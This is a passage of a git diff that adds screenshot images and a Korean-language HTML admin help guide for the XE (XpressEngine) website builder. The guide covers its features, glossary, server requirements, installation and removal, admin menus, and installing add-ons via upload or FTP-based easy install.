mode 100644 index 000000000..db408e996 Binary files /dev/null and b/admin/help/img/make_general_site/home_page6.PNG differ diff --git a/admin/help/img/make_general_site/home_page7.PNG b/admin/help/img/make_general_site/home_page7.PNG new file mode 100644 index 000000000..ef94d6fae Binary files /dev/null and b/admin/help/img/make_general_site/home_page7.PNG differ diff --git a/admin/help/img/make_general_site/home_page8.PNG b/admin/help/img/make_general_site/home_page8.PNG new file mode 100644 index 000000000..8eb526194 Binary files /dev/null and b/admin/help/img/make_general_site/home_page8.PNG differ diff --git a/admin/help/img/make_general_site/home_page_completed.PNG b/admin/help/img/make_general_site/home_page_completed.PNG new file mode 100644 index 000000000..61fb36884 Binary files /dev/null and b/admin/help/img/make_general_site/home_page_completed.PNG differ diff --git a/admin/help/img/make_general_site/menu_delete_confirm.PNG b/admin/help/img/make_general_site/menu_delete_confirm.PNG new file mode 100644 index 000000000..2b01fc205 Binary files /dev/null and b/admin/help/img/make_general_site/menu_delete_confirm.PNG differ diff --git a/admin/help/img/make_general_site/notice01_add.PNG b/admin/help/img/make_general_site/notice01_add.PNG new file mode 100644 index 000000000..54608c56f Binary files /dev/null and b/admin/help/img/make_general_site/notice01_add.PNG differ diff --git a/admin/help/img/make_general_site/other_mentype_install.PNG b/admin/help/img/make_general_site/other_mentype_install.PNG new file mode 100644 index 000000000..aee130f16 Binary files /dev/null and b/admin/help/img/make_general_site/other_mentype_install.PNG differ diff --git a/admin/help/img/make_general_site/progress.PNG b/admin/help/img/make_general_site/progress.PNG new file mode 100644 index 000000000..02b5fc061 Binary files /dev/null and b/admin/help/img/make_general_site/progress.PNG differ diff --git a/admin/help/index.html b/admin/help/index.html new file mode 100644 index 000000000..bee717b3a --- /dev/null +++ b/admin/help/index.html @@ -0,0 +1,1669 @@ + + + + + +XE Admin Help + + + + + + +
    +

    메뉴건너뛰기

    +
    +

    XE Admin Help

    +
    +
    +
    + +
    + +
    +

    XE 소개

    +
    +

    XE란 무엇인가?

    +

    XE는 'eXpress'와 'Engine'이라는 두 단어를 합쳐 만든 이름으로, '사람들이 자신의 생각이나 느낌을 표현할 수 있도록 도와주는 장치'라는 의미를 담았습니다.

    +

    XE는 서버 컴퓨터에 설치해서 쓰는 웹 사이트 제작 프로그램입니다. 웹 사이트를 만들기 위해서는 HTML, CSS, PHP, SQL 등과 같은 프로그래밍 언어를 기본적으로 알아야 합니다. 하지만 XE를 사용하면 프로그래밍 언어를 잘 모르더라도 웹 사이트를 쉽게 만들 수 있습니다.

    +

    XE는 XE core라는 핵심 프로그램을 기반으로 다양한 추가 기능을 조합하여 사용자가 원하는 웹 사이트를 제작할 수 있습니다.

    +
    + XE 개요 +
    XE 개요
    +
    +
    참고 +

    XE에 관한 자세한 정보는 XE 공식 사이트를 참조하십시오.

    +

    http://www.xpressengine.com

    +
    +
    +
    +

    XE 기능 및 특징

    +

    XE의 기능 및 특징은 다음과 같습니다.

    +

    손쉬운 사이트 구축

    +

    XE는 Textyle(블로그형), CafeXE(카페형), PlanetXE(마이크로 블로그형) 등 다양한 모듈을 제공합니다. 사용자는 만들고자 하는 사이트에 적합한 모듈을 선택하여 편리하게 사이트를 구축할 수 있습니다.

    +

    모듈형 구조

    +

    XE에서 모듈은 하나의 프로그램을 의미합니다. XE는 기능의 제작과 추가, 사용이 쉽도록 레고 블록과 같은 모듈 구조로 제작되었습니다. 사용자는 XE에서 제공하는 기본 모듈과 커뮤니티를 통해 공유되는 확장 기능을 자유롭게 조합하여 다양한 웹 사이트를 제작할 수 있습니다. 개발자는 XE에 추가할 수 있는 새로운 기능의 모듈을 쉽게 개발하고 커뮤니티를 통해 공유할 수 있습니다.

    +

    오픈 커뮤니티

    +

    XE는 오픈 커뮤니티를 통해 다양한 정보를 제공합니다. XE 커뮤니티에는 제로보드 시절부터 사용해 온 사용자와 자유/오픈 소스 프로젝트 멤버가 많습니다. 사용자는 커뮤니티 내에서 원하는 정보를 찾거나, 다른 사용자들에게 자유롭게 문의할 수 있습니다.

    +

    다국어 지원

    +

    XE는 여러 나라의 언어를 지원합니다. 사용자는 웹 사이트를 언어별로 분리하지 않고도 한국어뿐 아니라 영어, 일본어, 중국어, 러시아어 등의 웹 사이트를 쉽게 제작할 수 있습니다.

    +
    +
    +

    용어 정리

    +
    +
    APMsetup
    +
    XE를 설치하는 데 필요한 구성 요소인 아파치 웹 서버, PHP, MySQL 데이터베이스를 한 번에 설치하고, 사용에 필요한 연동 설정을 자동으로 해 주는 프로그램. 공식 사이트는 http://www.apmsetup.com/입니다.
    +
    FileZilla
    +
    무료 FTP(File Transfer Protocol) 접속 프로그램. 공식 사이트는 http://filezilla-project.org/입니다.
    +
    mod_rewrite
    +
    URL을 기억하기 쉽게 줄여 주는 기능. 예를 들어, http://example.com/index.php?module=admin을 http://example.com/admin과 같이 줄여 쓸 수 있습니다. 웹 서버에서 해당 기능을 지원해야 사용할 수 있습니다.
    +
    PuTTY
    +
    텔넷(telnet)이나 SSH(Secure Shell) 프로토콜을 지원하는 원격 접속 프로그램. 공식 사이트는 http://www.putty.nl/이며, 한글 버전은 http://www.kldp.net/projects/iputty/download에서 다운로드할 수 있습니다.
    +
    WPI
    +
    Web Platform Installer의 약어. 마이크로소프트 사에서 웹 플랫폼 제품을 편리하게 사용할 수 있도록 만든 도구이며, 공식 사이트는 http://www.microsoft.com/web/default.aspx입니다.
    +
    XE core
    +
    XE의 설치와 운영을 담당하는 핵심 프로그램. XE core가 있어야 모듈, 레이아웃, 스킨 등의 추가 기능을 설치하고 실행할 수 있습니다.
    +
    XE 추가 기능
    +
    사용자가 사이트를 더 편리하게 운영하도록 XE core에 추가할 수 있는 구성 요소. XE 추가 기능에는 모듈, 애드온, 위젯, 스킨, 위젯 스타일, 레이아웃이 있습니다.
    +
    XE
    +
    XpressEngine의 약어. 서버 컴퓨터에 설치해서 쓰는 오픈 소스 웹 사이트 제작 프로그램이며, 공식 사이트는 http://www.xpressengine.com/입니다.
    +
    가상 사이트
    +
    XE에서 만들어진 웹 페이지를 XE의 기본 사이트와 다른 별개의 사이트처럼 사용할 수 있는 기능.
    +
    레이아웃
    +
    사이트에 설치한 추가 기능의 배치를 담당하는 구성 요소.
    +
    모듈
    +
    XE에 추가해서 사용할 수 있는 하나의 프로그램.
    +
    쉬운 설치
    +
    XE에서 모듈, 스킨 등의 추가 기능을 설치할 때 XE 공식 사이트에서 소스를 다운로드해서 서버에 업로드할 필요 없이 사이트에서 XE 공식 사이트와 연동하여 선택한 추가 기능을 설치할 수 있는 기능.
    +
    스킨
    +
    사이트에 설치된 프로그램의 디자인.
    +
    애드온
    +
    모듈 기능의 동작 사이에 끼어들어 자신의 기능을 수행하는 작은 프로그램.
    +
    위젯 스타일
    +
    위젯의 외관을 꾸미는 구성 요소.
    +
    위젯
    +
    레이아웃이나 페이지 모듈에 삽입되어 동작하는 구성 요소.
    +
    제로보드
    +
    1999년 개발된 게시판 소프트웨어. 제로보드 XE를 거쳐 현재의 XE로 발전되었습니다.
    +
    사이트맵
    +
    각 메뉴를 그룹핑하여 모아놓은 것으로 사이트맵을 사이트의 상단, 좌측, 우측, 하단 등에 배치하여 사용할 수 있습니다.
    +
    +
    +
    +
    +

    설치 및 제거

    +
    +

    설치 전 준비

    +

    XE는 설치형 웹 응용프로그램입니다. XE를 사용하여 사이트를 만들기 위해서는 XE가 설치될 웹 서버가 필요합니다. XE를 설치할 서버의 공간을 확보하는 방법에는 여러 가지가 있지만, 크게 나누어 직접 서버로 사용할 컴퓨터를 확보하는 방법과 비용을 지불하고 웹 호스팅 업체가 제공하는 웹 서버의 공간 일부를 임대하는 방법이 있습니다.

    +
    +

    설치 프로그램 목록

    +

    웹 서버가 구축된 환경에서 XE 설치를 위해 필요한 프로그램 목록은 다음과 같습니다. WPI(Microsoft Web Platform Installer)나 APMsetup을 사용해서 XE를 설치할 경우에는 아래 프로그램이 자동으로 설치됩니다. 그렇지 않은 경우에는 필요한 프로그램과 라이브러리를 미리 확인하여 설치해야 합니다.

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + 설치 프로그램 목록 +
    프로그램필수/선택
    PHPXE Core 1.5.x 이하: PHP 4.x ~ 5.x(5.2.2 제외)필수
    XE Core 1.7 이상: PHP 5.2.4 이상필수
    PHP 라이브러리XML 라이브러리필수
    GD 라이브러리필수
    ICONV선택
    DBMS(Database Management System)CUBRID택1
    Firebird (XE Core 1.7.x 이상부터 공식 지원 안함)
    MySQL 4.1이상
    PostgreSQL (XE Core 1.7.x 이상부터 공식 지원 안함)
    SQLite2/SQLite3 (XE Core 1.7.x 이상부터 공식 지원 안함)
    MS-SQL
    +
    +
    +

    XE core 설치 파일 다운로드

    +

    XE를 사용하여 사이트를 생성하려면 XE core를 설치해야 합니다. XE core는 XE의 설치와 운영을 담당하는 핵심 프로그램입니다. XE core에는 사이트 관리에 사용되는 기능이 없습니다. 하지만 XE core가 있어야 사용자가 추가 기능(모듈, 레이아웃, 스킨 등)을 설치하고 실행할 수 있습니다.

    +

    최신 XE core 설치 파일은 http://code.google.com/p/xe-core/downloads/list에서 무료로 다운로드할 수 있습니다.

    +
    참고 +

    Windows 환경에서 WPI를 사용해 XE를 설치할 때는 XE core 설치 파일을 다운로드할 필요가 없습니다.

    +
    +

    XE core 설치 파일은 zip과 tgz, 두 가지 형식으로 제공됩니다. 내 컴퓨터에서 압축을 해제한 후 서버에 업로드하려면 zip 파일을, 압축 파일을 서버에 업로드한 후 압축을 해제하려면 tgz 파일을 다운로드합니다. 각 형식의 파일 업로드 방식은 "XE core 설치 파일 형식별 업로드 방법"을 참조하십시오.

    +
    +
    +
    +

    서버 환경 설정

    +

    XE는 서버 OS 종류에 상관없이 "설치 프로그램 목록"이 설치된 모든 환경에서 설치할 수 있습니다. 사용자는 XE를 설치하기 전에 필요한 웹 서버 환경을 구축해야 합니다.

    +

    Windows 환경에서는 WPI나 APMsetup 중 하나를 선택해서 필요한 설치 프로그램과 XE를 함께 설치할 수 있습니다. 자세한 내용은 "Windows 환경 설정"을 참조하십시오.

    +

    Linux 환경에서는 XE를 설치하기 전에 "설치 프로그램 목록"의 프로그램을 수동으로 설치해야 합니다. 각 프로그램의 자세한 설치 과정은 이 문서에서 설명하지 않습니다. Linux 환경에서 계정을 설정하거나 원격으로 서버에 접속하는 방법, XE core 설치 파일을 업로드하는 방법은 "Linux 환경 설정"을 참조하십시오.

    +
    +
    +

    XE core 설치

    +

    XE core를 설치하는 과정은 다음과 같습니다.

    +
      +
    1. 웹 브라우저를 통해 XE core 설치 파일을 업로드한 경로(www.example.com 또는 www.example.com/xe)로 접근합니다.
    2. +
    3. 다음과 같이 사용할 언어를 선택하는 화면에서 원하는 언어를 선택하시고 '다음' 버튼을 누릅니다. +
      설치 언어 선택
      +
      참고 +

      페이지에 접근은 되지만 이미지가 제대로 보이지 않거나 내용이 비어 있으면, XE core 설치 파일을 다시 업로드해야 합니다.

      +
      +
    4. +
    5. 필수 설치 조건이 모두 가능으로 표시된 것을 확인하고 '설치를 진행합니다'를 클릭합니다. +

      이 화면에서 '자세히'를 클릭하면 XE core를 설치할 때 최소 PHP 버전과 필수 라이브러리 설치 여부를 자동으로 확인할 수 있습니다. 필수 설치 조건에 가능으로 표시되지 않은 항목이 있으면 오류 메시지를 확인하여 해결합니다.

      +

      짧은 주소를 사용할 수 없을 경우 경고창이 나타납니다. 짧은 주소를 사용하길 원치 않을 경우에는 그대로 설치를 진행합니다.

      +
      설치 조건 확인
      +
      참고 +

      파일 권한 설정 오류 때문에 퍼미션이 불가능으로 표시될 때는 "XE 설치 시 권한 설정 누락 오류"를 참조하십시오.

      +
      +
    6. +
    7. XE에서 사용할 DBMS를 선택하고 아래의 설치를 진행합니다를 클릭합니다. 이 문서에서는 mysqli를 선택합니다. +
      DB 선택
      +
      참고 +

      XE에서 사용 가능한 DBMS가 없으면 모든 항목이 비활성화됩니다. 이때는 사용할 DBMS를 직접 설치하거나, 호스팅 업체에 설치를 요청합니다.

      +
      +
    8. +
    9. 다음과 같이 DB 정보를 입력하고, 다음을 클릭합니다. 추가적인 설정의 변경이 필요할 경우에는 '고급 설정'을 클릭해서 수정할 수 있습니다. +
      DB 정보 입력
      +
      참고 +

      DB 정보를 입력할 때 문제가 발생하면, "DB 계정 정보 오류"를 참조하십시오.

      +
      +
    10. +
    11. 사이트 표준 시간대를 설정한 후 다음을 클릭합니다.
    12. +
      환경 설정
      +
    13. 관리자 정보를 입력합니다. XE 1.5부터는 이메일 주소가 로그인 계정이므로 실제 관리자가 사용할 이메일 주소를 입력하시기 바랍니다. +
      관리자 정보 입력
      +
    14. +
    15. 설치가 완료되면 다음과 같이 XE Home(시작 페이지)이 나타납니다. +
      XE 초기 페이지
      +
    16. +
    +
    +
    +

    제거

    +

    XE를 더 이상 사용하지 않는다면 XE가 설치되어 있는 폴더의 하위 내용을 모두 삭제합니다.

    +

    XE를 사용해서 제작한 사이트를 운영하는 데 사용된 모든 데이터는 DB에 저장됩니다. 데이터를 모두 삭제하려면 사이트 운영에 사용된 모든 DB 테이블을 삭제합니다. XE를 재설치하거나 서버를 이전할 때는 데이터를 이관하여 재사용할 수 있습니다.

    +

    자세한 데이터 삭제 및 이관 방법은 사이트 운영에 사용한 DBMS의 사용법을 참조하십시오.

    +
    +
    +
    +

    XE core 둘러보기

    +
    +

    관리자 페이지 시작

    +

    다음과 같이 XE 관리자 페이지를 열고 관리자 계정 정보를 입력하여 로그인합니다. 아래 주소에서 'example.com'은 XE가 설치된 도메인 주소를 의미합니다.

    +
    +
    짧은 주소(mod_rewrite)를 사용할 경우: +
    http://example.com/admin
    +
    짧은 주소(mod_rewrite)를 사용하지 않는 경우: +
    http://example.com/index.php?module=admin
    +
    +
    XE 관리자 페이지 +
    XE 관리자 페이지
    +
    +
    +
    +

    XE 관리자 메뉴

    +

    이 절에서는 관리자가 사용 가능한 기본 메뉴를 설명합니다.

    +
    +

    대시보드

    +

    XE 관리자 홈입니다. 통계 및 사이트 현황, 최근 글, 댓글, 엮인글, 공지 등을 보여 줍니다.

    +
    +
    +

    사이트 제작/편집

    +

    사이트 메뉴 편집

    +

    사이트에서 사용되는 메뉴를 타입별로 쉽게 생성, 수정, 삭제할 수 있게 도와줍니다. 기본적으로 설치가 되지 않은 메뉴 타입이 있을 경우에는 손쉽게 설치할 수 있습니다. 또한 메뉴의 디자인 및 설정 정보도 손쉽게 수정이 가능합니다. 디자인 정보를 별도로 설정하지 않는다면 '사이트 디자인 설정'에서 설정한 내용이 적용 됩니다.

    +

    사이트 디자인 설정

    +

    사이트에서 사용되는 기본 디자인 설정을 할 수 있도록 도와 줍니다. 기본적으로 제공하는 디자인 설정 뿐 아니라 직접 html, css를 수정할 수 도 있습니다. 이곳에서 수정한 내용은 각 메뉴에서 별도로 설정하지 않는이상 모두 적용 됩니다.

    +
    +
    +

    회원

    +
    +
    회원 목록
    +
    사이트에 가입된 사용자 목록을 보여줍니다. 사용자의 소속 그룹을 변경하거나, 로그인 차단 등 사용자 정보를 확인, 수정, 삭제할 수 있습니다.
    +
    회원 설정
    +
    사이트 회원 가입 허가, 회원 가입 시 입력 양식 등 회원 관리에 필요한 다양한 설정을 할 수 있습니다.
    +
    회원 그룹
    +
    + 사이트에서 사용하는 회원 그룹을 관리합니다. 새로운 그룹을 생성하거나, 기존 그룹을 수정, 삭제할 수 있습니다. +
    + 참고 +

    회원 그룹 내 '관리그룹'과 '관리자'의 차이는 "관리그룹, 관리자"를 참고하시기 바랍니다.

    +
    +
    +
    포인트
    +
    회원이 글, 댓글을 작성하거나 업로드, 다운로드할 때 포인트를 부여할 수 있습니다. 또한 그룹의 레벨을 설정하여 포인트를 통한 레벨 업그레이드 기능을 설정할 수 있습니다.
    +
    +
    +
    +

    콘텐츠

    +
    +
    문서
    +
    사이트에 등록된 문서를 관리합니다. 문서 내용을 확인하고 삭제할 수 있으며, 회원이 신고, 삭제한 문서를 확인할 수 있습니다.
    +
    댓글
    +
    사이트에 등록된 댓글을 관리합니다. 댓글 내용을 확인하고 삭제할 수 있으며, 신고된 댓글을 확인할 수 있습니다.
    +
    엮인글
    +
    외부에서 링크했거나 엮인글의 목록을 볼 수 있습니다. 엮인글의 허용 여부를 선택할 수 있으며, 엮인글을 허용하지 않으면 글을 엮을 수 없고 링크하더라도 표시되지 않습니다.
    +
    파일
    +
    사이트에 등록된 글과 댓글에 첨부된 파일을 관리합니다. 등록된 파일을 삭제할 수 있습니다.
    +
    설문
    +
    사이트에 등록된 설문 콘텐츠를 관리합니다.
    +
    RSS
    +
    XE를 통해 생성된 다양한 모듈의 RSS(Rich Site Summary) 피드를 하나로 묶어서 제공할 수 있습니다. 기본값은 통합피드 사용입니다. 사이트 초기 화면을 통해 통합 피드가 제공되며, 피드 공개가 허용되지 않은 개별 모듈은 피드 목록에서 제외됩니다. 일부 모듈은 피드 공개의 기본값이 공개하지 않음으로 되어 있으므로, 모든 피드를 공개하려면 반드시 개별 모듈의 추가 설정 메뉴에서 피드 공개 항목이 전문 공개 또는 요약 공개로 되어 있는지 확인해야 합니다.
    +
    다국어
    +
    + XE는 글로벌 사이트를 별도로 생성하지 않고 하나의 사이트에서 다국어를 지원합니다. 다국어에 추가한 단어/문장에 연동된 목록은 사이트 언어 설정을 변경하면 자동으로 해당 언어의 내용으로 변환되어 표시됩니다. 다국어 메뉴는 사이트에 사용된 다국어 목록을 관리합니다. 등록된 다국어 목록을 확인할 수 있으며, 새로운 단어 또는 문장을 추가할 수 있습니다. +
    + 참고 +

    다국어의 자세한 사용법은 FAQ의 "다국어"를 참고하시기 바랍니다.

    +
    +
    +
    데이터 들여오기
    +
    + 제로보드4, zb5beta 또는 다른 프로그램의 데이터를 XE 데이터로 이전할 수 있습니다. +
    + 참고 +

    데이터 들여오기의 자세한 사용법은 FAQ의 "데이터 들여오기"를 참고하시기 바랍니다.

    +
    +
    +
    휴지통
    +
    문서나 댓글을 삭제하면 DB에서 바로 제거하지 않고 휴지통으로 이동합니다. 관리자가 내용을 다시 확인한 후 삭제된 문서나 댓글을 복구하거나 완전히 삭제할 수 있습니다.
    +
    스팸필터
    +
    글, 댓글 등이 등록될 때 스팸 여부를 확인하여 등록을 금지할 수 있습니다. 스팸필터 관리 메뉴에서 금지 IP와 금지 단어 목록을 설정할 수 있습니다.
    +
    +
    +
    +

    즐겨찾기

    +

    '고급 > 설치된 모듈'에서 자주 사용하는 모듈의 별 모양을 클릭하면 즐겨찾기에 추가할 수 있습니다. 추가 된 즐겨찾기는 '즐겨찾기' 메뉴에 노출됩니다.

    +
    +
    +

    설정

    +
    +
    일반
    +
    +

    사이트 시작 화면을 결정하는 기본 모듈 설정, 기본 언어 등 사이트를 운영하기 위해 필요한 기본 설정을 할 수 있습니다. 또한, 보안을 위한 관리자 페이지 접근 가능 IP 대역 지정 등 다양한 고급 설정이 가능합니다.

    +
      +
    • 사이트 제목: XE Core 1.7 이상에서 새롭게 추가된 값입니다. 레이아웃에서 {Context::getSiteTitle()} 변수로 표시할 수 있습니다. default 레이아웃에 적용되어 있습니다.
    • +
    • 홈페이지: 사이트 접속 시 기본으로 호출될 페이지 지정할 수 있습니다.
    • +
    • 모바일 뷰 사용: 모바일 기기로 접속시 모바일 페이지를 보여줍니다.
    • +
    • 관리자 IP대역: 관리자 페이지로 접근가능한 IP대역을 지정합니다. 해당 IP에 대해서만 관리자 페이지로 접근이 가능하므로 주의 바랍니다. IP대역 정보는 /files/config/db.config.php 파일에 저장됩니다. 여러개의 항목은 줄을 바꾸어 입력하세요.
    • +
    • 기본 URL: 여러 사이트를 운영할 때 기본 URL이 필요합니다. XE 설치 경로를 포함한 URL을 입력하세요. (예: http://도메인/설치경로)
    • +
    • SSL(Secure Socket Layer) 사용: '선택적으로'는 회원가입, 정보수정 등의 지정된 동작(action)에서 보안접속(SSL)을 사용합니다. '항상 사용'은 모든 서비스에 SSL을 사용 합니다. SSL 환경이 갖춰지지 않은 상태에서 SSL을 사용할 경우 접속이 되지 않을 수 있으니 주의 바랍니다.
    • +
    • SSO 사용: 사용자가 한 번만 로그인하면 기본 사이트와 가상 사이트에 동시에 로그인이 됩니다. 가상 사이트를 사용할 때만 필요합니다.
    • +
    • 인증 세션 DB 사용: 인증 시 사용되는 PHP 세션을 DB로 사용하는 기능입니다. 웹서버의 사용률이 낮은 사이트에서는 비활성화시 사이트 응답 속도가 향상될 수 있습니다. 단, 현재 접속자를 구할 수 없어 관련된 기능을 사용할 수 없게 됩니다.
    • +
    • Qmail 호환: Qmail등 CRLF를 줄 구분자로 인식하지 못하는 MTA에서 메일이 발송되도록 합니다.
    • +
    +
    +
    FTP 설정
    +
    쉬운 설치 사용을 위한 FTP 계정을 설정합니다.
    +
    관리자 설정
    +
    관리자 화면의 제목과 로고, 메뉴를 설정할 수 있습니다.
    +
    파일 업로드 +
    +

    사이트에 등록할 수 있는 파일의 종류와 크기 등을 설정할 수 있습니다.

    +
      + +
    • 파일 크기 제한: 하나의 파일에 대해 최고 용량을 지정할 수 있습니다.(관리자는 제외)
    • +
    • 문서 첨부 제한: 하나의 문서에 첨부할 수 있는 최고 용량을 지정할 수 있습니다.(관리자는 제외)
    • +
    +
    + +
    파일박스
    +
    파일박스를 관리할 수 있습니다. 파일박스는 관리자가 재사용할 수 있는 이미지 파일을 관리하는 기능입니다. 회원 그룹 아이콘을 등록하면 이미지 파일은 파일박스에 업로드됩니다.
    +
    +
    +
    +

    고급

    +
    +
    쉬운 설치
    +
    모듈, 스킨, 레이아웃, 위젯 등을 추가로 설치할 때, XE 공식 사이트에서 해당 소스를 다운로드해서 서버에 업로드할 필요 없이 사이트에서 XE 공식 사이트와 연동하여 선택한 추가 기능을 바로 설치합니다.
    +
    설치된 레이아웃
    +
    사이트에 설치된 레이아웃을 관리합니다. 각 레이아웃의 관리자 화면을 통해 인스턴스를 추가, 수정, 삭제할 수 있습니다.
    +
    설치된 모듈
    +
    사이트에 설치된 모듈을 출력합니다. 각 모듈의 관리자 화면에 접근하여 모듈을 관리할 수 있습니다. 목록의 즐겨찾기 버튼을 이용해서 자주 사용하는 모듈 관리자 링크를 화면 오른쪽 위에 즐겨찾기로 추가할 수 있습니다.
    +
    설치된 위젯
    +
    사이트에 설치된 위젯을 출력합니다. 각 위젯의 코드를 생성할 수 있습니다.
    +
    설치된 애드온
    +
    사이트에 설치된 애드온을 출력합니다. 각 애드온을 PC와 모바일 환경에서 사용하거나 사용하지 않도록 설정할 수 있습니다. +
    + 참고 +

    1.5 버전부터는 쉬운 설치를 통해 설치된 레이아웃과 모듈, 위젯, 애드온을 '확장기능(v1.7에서는 고급) > 설치된 레이아웃, 설치된 모듈, 설치된 위젯, 설치된 애드온' 관리자 화면에서 삭제할 수 있습니다.

    +
    +
    +
    에디터
    +
    사이트의 기본 위지윅 에디터 설정과 확장 기능인 에디터 컴포넌트를 관리할 수 있습니다.
    +
    +
    +
    +
    +
    +

    XE 추가 기능

    +
    +

    XE 추가 기능의 종류

    +

    XE의 가장 큰 장점은 사용자가 원하는 다양한 기능을 추가하여 사이트를 좀 더 편리하게 운영할 수 있다는 것입니다. 다음과 같은 XE 추가 기능을 사용할 수 있습니다. 각 추가 기능의 설치 방법은 "추가 기능 설치 방법"을 참조하십시오.

    +

    모듈

    +

    XE에서 모듈은 하나의 프로그램을 의미합니다. 여러 개의 모듈이 모여서 하나의 큰 모듈을 구성하기도 하고, 모듈이 개별적으로 동작하기도 합니다. 즉, 모듈은 사이트에 특정 기능을 구현하기 위해 추가로 설치한 프로그램입니다.

    +

    XE에서 제공하는 대표적인 모듈에는 게시판, CafeXE, Textyle 등이 있습니다.

    +
    + 모듈 +
    모듈
    +
    +

    애드온

    +

    애드온은 모듈의 기능이 동작하는 사이사이에 끼어들어 자신의 기능을 수행하는 작은 프로그램입니다. 애드온은 모듈과 같이 스스로 기능을 수행하기는 하지만, 기능 수행 결과를 외부로 제공하지는 못한다는 점에서 모듈과 다릅니다.

    +

    XE에서 제공하고 있는 대표적인 애드온에는 기본 카운터, 모바일 XE 등이 있습니다.

    +

    위젯

    +

    위젯은 레이아웃 또는 페이지 모듈에 삽입되어 동작합니다. 모듈에서 이미 생성된 데이터를 표시하거나, 일부 데이터를 생산할 수도 있습니다. 예를 들어, 게시판 모듈에서 작성된 최신 글 목록을 사이트의 시작 페이지에 나타내고 싶을 때 위젯을 사용합니다. XE에서 제공하는 대표적인 위젯에는 언어 선택, 로그인 정보 출력 위젯 등이 있습니다.

    +

    위젯 스타일

    +

    위젯 스타일은 위젯의 외관을 꾸미는 역할을 합니다. 스킨이 위젯의 출력 부분을 꾸며준다면, 위젯 스타일은 위젯의 외곽부분에 대한 스킨이라고 생각할 수 있습니다. 위젯 스타일을 적용하면 외관 변경 외에도 위젯 블록에 제목이나 더보기 링크 등의 내용을 추가할 수 있습니다.

    +
    위젯과 위젯 스타일 +
    위젯과 위젯 스타일
    +
    +

    스킨

    +

    스킨은 사이트에 설치된 프로그램의 디자인을 의미합니다. 즉, 스킨은 프로그램(모듈, 위젯)의 옷이라고 할 수 있습니다.

    +

    XE 공식 사이트에서는 프로그램별로 다양한 스킨을 제공하고 있습니다. 이를 잘 활용하면 본인만의 개성이 담긴 사이트를 운영할 수 있습니다.

    +

    레이아웃

    +

    사이트에 여러 가지 추가 기능을 설치한 후에는 이들을 화면에 적절하게 배치해야 합니다. 이렇게 화면 배치를 담당하는 것이 레이아웃입니다. 레이아웃과 추가 기능(모듈, 위젯)은 매우 긴밀한 관계를 유지합니다. 추가 기능이 없으면 레이아웃은 아무런 내용도 출력할 수 없기 때문에 화면에 표시되지 않습니다. 반대로 프로그램은 설치되어 있으나 레이아웃이 없으면 각 요소가 출력될 위치를 알 수 없기 때문에 역시 화면에 표시되지 않습니다.

    +
    레이아웃 +
    레이아웃
    +
    +
    +
    +

    추가 기능 설치 방법

    +

    XE의 다양한 추가 기능을 설치 하는 방법에는 2가지가 있습니다. XE 공식 사이트에서 소스 파일을 다운로드해서 XE 설치 서버에 업로드하는 방법과 XE core에서 제공하는 쉬운 설치 기능을 사용하는 방법입니다.

    +
    참고 +

    XE에서 추가 기능을 설치하는 것은 추가 기능의 소스 코드를 운영하고 있는 서버에 옮기는 것을 의미합니다. 즉, 추가 기능 설치 과정만으로는 실제 사이트에 표시할 콘텐츠를 제작할 수 없습니다. 추가 기능을 생성하여 사이트와 연동하는 과정은 "사이트 만들기"를 참조하시기 바랍니다.

    +
    +
    +

    소스 파일 업로드로 추가 기능 설치

    +

    XE 공식 사이트에서 추가 기능 소스 파일을 다운로드해서 XE 설치 서버에 업로드하는 방법입니다.

    +

    예를 들어, 소스 파일 업로드로 게시판 모듈을 설치하는 방법은 다음과 같습니다.

    +
      +
    1. XE 공식 사이트 자료실(http://www.xpressengine.com/download)에 접속합니다.
    2. +
    3. 게시판 모듈을 하나 선택해서 내 컴퓨터에 다운로드합니다. +
      게시판 모듈 다운로드 화면
      +
    4. +
    5. 다운로드한 게시판 모듈(zip 파일)의 압축을 해제합니다. 압축 해제가 완료되면 board라는 디렉터리가 생성됩니다.
    6. +
    7. 압축 해제한 board 디렉터리를 XE 설치 경로의 ./modules 디렉터리로 옮깁니다. 모든 모듈은 XE 설치 경로의 ./modules 디렉터리에 설치됩니다.
    8. +
    9. '고급 > 설치된 모듈' 목록에 다음 그림과 같이 게시판 모듈이 추가되었는지 확인합니다. +
      항목 업데이트 화면
      +
    10. +
    11. '이 항목 업데이트가 가능합니다. 업데이트하시겠습니까' 링크가 있을 경우에는 해당 링크를 클릭하면 설치가 완료됩니다.
    12. +
    +
    +
    +

    쉬운 설치로 추가 기능 설치

    +

    FTP 설정

    +

    쉬운 설치로 추가 기능을 설치하려면 쉬운 설치 사용을 위한 계정을 설정해야 합니다. 방법은 다음과 같습니다.

    +
      +
    1. 관리자 메뉴의 '설정 > FTP 설정'을 클릭합니다.
    2. +
    3. 다음과 같이 웹 서버의 FTP 계정 정보를 입력합니다. +
      +
      아이디:
      +
      서버에 접근 가능한 아이디
      +
      비밀번호:
      +
      서버에 접근 가능한 비밀번호
      +
      +
    4. +
    5. 아이디, 비밀번호 외에 추가정보의 수정이 필요한 경우에는 '고급'에서 수정할 수 있습니다. +
      +
      FTP 서버 주소:
      +
      서버 주소는 XE가 설치된 서버로부터 접근하기 위한 주소입니다. 특별한 경우가 아니라면 XE는 자신이 설치된 서버에 구성 요소를 설치합니다. 따라서 자기 자신을 나타내는 주소인 localhost, 혹은 127.0.0.1을 입력합니다.
      +
      FTP port:
      +
      FTP 포트 번호의 경우 기본적으로 21을 쓰도록 되어 있으나, 서버에 따라 설정이 다를 수도 있습니다. 21이 아닐 때에는 서버 관리자에게 문의합니다.
      +
      Passive 모드를 사용:
      +
      클라이언트(사용할 웹 서버)가 방화벽 환경에 있어도 FTP 서비스를 정상적으로 사용할 수 있게 하는 기능입니다. 예를 선택해야 방화벽이 설치된 환경에서 FTP를 사용할 수 있습니다. 따라서 쉬운 설치 기능을 사용하려면 서버에서 FTP Passive mode를 지원해야 합니다.
      +
      SFTP를 사용:
      +
      FTP 프로토콜을 통해 주고받는 데이터는 암호화되어 있지 않습니다. SFTP(SSH File Transfer Protocol)를 사용하면 쉬운 설치 기능을 더 안전하게 사용할 수 있습니다. SFTP는 관련 PHP 모듈이 설치되어 있어야 사용할 수 있습니다.
      +
      +
      FTP 설정
      +
    6. +
    7. 모든 정보를 입력했으면 '저장'을 클릭합니다.
    8. +
    +

    쉬운 설치 사용을 위한 계정 설정을 완료하였습니다.

    +
    참고 +

    쉬운 설치 진행 중에 FTP 홈 디렉터리 설정 관련 오류가 발생하면 "쉬운 설치 진행 시 FTP 홈 디렉터리 설정 오류"를 참조하십시오.

